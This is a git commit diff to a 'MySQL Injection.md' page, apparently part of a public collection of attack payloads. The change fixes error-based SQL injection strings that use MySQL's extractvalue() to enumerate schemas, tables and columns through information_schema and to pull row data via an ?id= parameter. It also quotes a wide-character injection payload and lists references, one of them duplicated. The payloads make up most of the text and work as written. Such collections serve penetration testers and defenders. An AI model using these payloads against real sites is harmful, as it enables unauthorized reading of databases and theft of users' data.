Update MySQL Injection.md

Fixed row/data extraction from MySQL Error Based - Extractvalue Function
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NoPurposeInLife 2024-10-31 11:25:34 +08:00 committed by GitHub
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@ -269,7 +269,7 @@ Works with `MySQL >= 5.1`
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_column,CHAR(126)) FROM data_schema.data_table LIMIT data_offset,1)))--
```
@ -699,4 +699,4 @@ Therefore, by using the payload `?id=1%df' and 1=1 --+`, after PHP adds the back
- [ekoparty web_100 - 2016/10/26 - p4-team](https://github.com/p4-team/ctf/tree/master/2016-10-26-ekoparty/web_100)
- [Websec - MySQL - Roberto Salgado - May 29, 2013.](https://websec.ca/kb/sql_injection#MySQL_Default_Databases)
- [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection - Marc Olivier Bergeron - Oct 19, 2021](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)
- [How to Use SQL Calls to Secure Your Web Site - IT SECURITY CENTER (ISEC) INFORMATION-TECHNOLOGY PROMOTION AGENCY](https://www.ipa.go.jp/security/vuln/ps6vr70000011hc4-att/000017321.pdf)
- [How to Use SQL Calls to Secure Your Web Site - IT SECURITY CENTER (ISEC) INFORMATION-TECHNOLOGY PROMOTION AGENCY](https://www.ipa.go.jp/security/vuln/ps6vr70000011hc4-att/000017321.pdf)